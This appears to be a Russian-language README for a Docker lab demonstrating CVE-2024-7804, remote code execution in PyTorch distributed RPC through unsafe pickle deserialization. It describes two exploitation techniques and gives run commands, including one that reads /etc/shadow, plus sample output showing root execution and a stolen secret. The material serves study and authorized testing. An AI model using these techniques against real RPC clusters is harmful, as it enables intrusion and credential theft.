
Самодостаточный Docker-лабораторный стенд и Python-эксплойт, демонстрирующие CVE-2024-7804 — критическую RCE-уязвимость в распределённом RPC PyTorch через небезопасную десериализацию pickle (CWE-502). Включает две техники эксплуатации и рекомендации по устранению уязвимости.
Автономный лабораторный стенд + эксплойт для CVE-2024-7804: удалённое выполнение кода в
распределённом RPC-фреймворке PyTorch (torch.distributed.rpc) через небезопасную
десериализацию недоверенных данных (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Примечание: данное уведомление позже было отозвано/отклонено мейнтейнерами и Red Hat как «известная функциональность» — RPC в PyTorch по замыслу является системой доверенных узлов. Лабораторный стенд по-прежнему является точной практической демонстрацией заявленной проблемы.
Каждый RPC-вызов передаёт namedtuple PythonUDF (, , ). На
принимающем узле он восстанавливается с помощью , без
списка разрешённых классов и без проверки целостности:
funcargskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle под контролем атакующего
...
Любой узел, способный присоединиться к RPC-«миру», может заставить узел выполнить
произвольный код — либо через pickle-гаджет __reduce__, который срабатывает во время
load(), либо просто указав любую импортируемую вызываемую функцию в качестве UDF,
поскольку ничто не ограничивает то, что узел будет выполнять.
CVE-2024-7804/
├── docker-compose.yml # жертва + атакующий в одной bridge-сети
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — уязвимый образ
│ └── server.py # жертва: доверяющий RPC-воркер, ожидающий узлы
└── exploit/
└── exploit.py # атакующий: присоединяется к миру и выполняет RCE на жертве
Docker с плагином Compose. Только CPU (без GPU), работает на amd64 и arm64.
# 1. Запустите уязвимый узел-жертву (rank 0, ожидает узел-пир)
docker compose up --build -d victim
# 2. Запустите эксплойт (по умолчанию: выполняет команду на жертве и возвращает её stdout)
docker compose run --rm attacker
# 3. Остановите всё
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
Атакующий выполнил команды от имени root на жертве и выкрал файл, который никогда не должен был быть раскрыт.
| Команда | Что демонстрирует |
|---|---|
docker compose run --rm attacker | Отправляет subprocess.check_output в качестве UDF. Жертва выполняет команду и возвращает её stdout — RCE и эксфильтрация за один вызов. |
docker compose run --rm attacker python exploit.py --reduce | Отправляет объект, чей __reduce__ выполняет os.system в то время, как жертва распаковывает полезную нагрузку — RCE в момент десериализации (суть CWE-502), ещё до вызова UDF. |
Пользовательская команда:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Для --reduce команда выполняется на жертве, поэтому наблюдайте за ней там:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # вывод появляется в журнале ЖЕРТВЫ
Журнал жертвы для --reduce заканчивается traceback в
torch/distributed/rpc/internal.py, строка ~207 (python_udf.func(...)) — доказательство того,
что полезная нагрузка уже была восстановлена и выполнена небезопасным распаковщиком.
29500) для недоверенных сетей.Только для образовательных целей и авторизованного тестирования безопасности. Лабораторный стенд намеренно уязвим — не разворачивайте его и запускайте эксплойт только против этого стенда.